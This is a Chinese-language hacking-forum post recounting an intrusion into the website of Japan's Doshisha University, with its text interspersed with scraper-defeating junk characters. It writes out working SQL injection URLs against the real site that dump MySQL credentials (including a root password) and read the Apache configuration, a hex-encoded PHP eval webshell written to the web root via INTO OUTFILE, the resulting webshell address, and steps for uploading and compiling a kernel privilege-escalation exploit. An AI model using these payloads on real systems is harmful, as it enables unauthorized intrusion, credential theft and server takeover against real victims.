找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2584|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析
7 q' T" W- T  l! T4 w
! u7 u" [8 k. Ehttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+ z$ k# Z- D- t9 [2 r
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
) S" K7 F0 N" r0 B6 v0 o. \, T) u, K) g5 H
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
% W% k& y0 e5 ?6 n% \+ t4 w5 {! t, i" Y/ g6 ]8 u8 g+ N. A
( O& p; ~0 w  C- r  M9 Y2 H: O! L# ^" @; F

, }: c0 v4 n) V5 K6 D6 m. J( t//@@datadir为数据库文件路径
) g" G5 M7 Y0 a$ H( n. X 8 E7 j2 L- ?, `. T" \1 W

1 `# Q- o  F8 N! Z; ]//load_file读取网站容器apache的配置文件 # b  y! T9 U  [; N% J

  {9 y: O! k2 q' v' Q! h3 U: Y# s( V* C1 p
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 $ d" \! \" O6 |" v: i4 t" w5 e
复制代码8 }" a- g- H0 T6 P% T+ f( j

* h; p0 W/ f( |- _9 P2 n7 q虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。" r! o3 i. H" p; v
) l! y1 D- E! r! i7 l" o
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
, Q2 f0 J1 Y! ^0 X' N(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
( \( w$ Z3 g- T0 M. Y  N
6 K- |5 f! u5 b- x前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。& B* o! T3 j- \' f9 \* c
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
  q2 w+ |3 Q# n2 l% j& ?" A, S: S0 u6 `
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
: I9 ^* |& ^6 {% H虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
5 E  n! q+ b' ~# `) c. m直接写一句话:
& ~- I2 O. j+ S/ D! R1 Z; A$ H9 A# L; u8 {4 w: b: A- x
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
7 h; H" t6 d9 d, f4 C* h5 T$ {9 _! B& @* O3 z# Q; |3 k

5 `5 o" m% K+ ?* \. |, U5 Q( m% z
//最后的#是为了闭合前面的语句 4 P1 }9 r7 M- }8 K
! S$ R+ ]2 \: u, k9 ?& f

; D% Q+ A, p- ]! c. U/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E 2 b1 d) w9 ?$ J
* ^! v+ ~' n# ~% ^/ j% p: A
1 }3 M. @  Q: ]. F
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ " Q, \) s! o3 A$ |* ?6 ]
0 A4 X0 D7 n, h! _, S- |3 \4 l3 A

3 q& ~- i5 `4 j  ]! h* i5 P//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
1 i) \% ]6 x' ]) g
/ u7 T% U5 f0 o5 s" ?) u* L( \$ d
; x# g" L5 T1 q3 j1 \0 A; r5 P, _//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误   W' V: t7 _7 B
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” ' |" J9 p# e. G+ s  M' X. n
复制代码
0 M' a5 n* z1 N- \4 ]4 w/ p' {$ ?  x1 z+ T6 m0 X
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
2 s# N( g0 v1 [! ]3 O通过上述注入语句,我们就得到了一句话木马:
9 P) p# {; `6 ^) X. y3 H, p( z) ]2 _$ M  t
' a) A' C5 i5 F3 \

. S+ B5 s* c* z( S3 @4 T 7 ~; o) m( e2 K' B/ F4 O, g$ I# F
$ }/ D1 E  w5 L5 e; q3 n  s
http://www.doshisha.ac.jp/english/engnews_img/aa.php ' g2 c4 y" f1 Z4 o9 w
复制代码5 x; Q1 [7 F: z! I3 D

/ ^3 m/ c9 |& ^0 r9 c6 N用菜刀连接,密码是cmd,如图所示:" ?# {; y0 Y% O
然后在命令提示行里看了一下,现在的权限是:
% P4 B) a1 T1 I" C0 X( O) B6 s% ?( i6 e$ V% s1 o  R, I; f
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
- a# ?  g/ G" d/ \+ C0 p好在赋权给这个文件夹不需要root,直接执行赋权语句:
$ X2 `9 Z( G4 u9 I9 ^2 _: H  U5 e
9 M. Q7 q8 p6 E$ c& k
, S$ G! r5 P. E8 p# L3 u$ G+ x, S9 g' a
% q- T$ x/ W; A$ I& n" A

1 ]2 Q4 u, H7 _' p' ?chmod +x /tmp/ * r$ d8 n% ?* E, Z; B7 L( y6 `
复制代码
1 g+ ~9 e. ], i* l: L7 F# Q1 D3 L: V' i
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
( A% M3 [9 F& m/ v; Y# M/ @0 p然后就查了一下内核版本:
0 [+ b) x) q0 S; A& `
% a5 N8 c8 \& B % P& x& f7 m" E
- C+ b2 ?' {( o# [7 a. K3 T
( F& q" Q9 k* |# {- A! ~/ y0 m& d

/ P& R9 @/ w( \7 b: y$ W7 Cuname-a
: @) n' R) o1 n. P; W$ q. D! v
7 p3 s/ {2 X: @% \  _4 Z% {/ {6 G8 z% l+ \
//其实lsb_release -a ; h6 }' c3 q$ ]( f. s
复制代码! e. ]( u$ V8 B0 n8 H
2 `# D- P7 y% P) _
如图所示:0 \' V0 ^, C9 X2 N" G5 \3 U6 B, o

: c. s! |) n" I" p0 ^( J内核版本:linux mainz1 2.6.28-194.e15
3 W3 o! B- z, v系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)8 C1 [% x" K/ ~8 I+ X1 g3 [3 p
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹" G7 Q, L1 v- {. Y) r$ L
$ ~' i) ]$ T6 @, P! g' Z
然后给予执行权限/ ~- c! `8 v5 c# M/ V$ W1 @# G5 I: e
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
+ C$ {' `% E  y- Y( }1 O0 i) N. P( w8 \

- r. p3 n' ?) I# E/ S$ t4 s' H# p0 H. P! N
8 Y, W% a  D; S
' b! ?4 B2 c4 ~% V& ]
chmod +x /tmp/2.6.18-194
: ~9 ~0 d$ ]! e6 E+ Q* Y复制代码 然后直接执行!~
) j) V% [( v7 o, J/ q% D) `; X% Y4 [; x7 L. d6 d/ d+ l  p! W
总结:, H2 {" ]2 c  G) k
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了; ?5 f0 M4 G% Q5 K2 I5 V* X
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root3 x6 D% Q! ]# d

6 [" @0 s' V! Y* w, v( I, e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表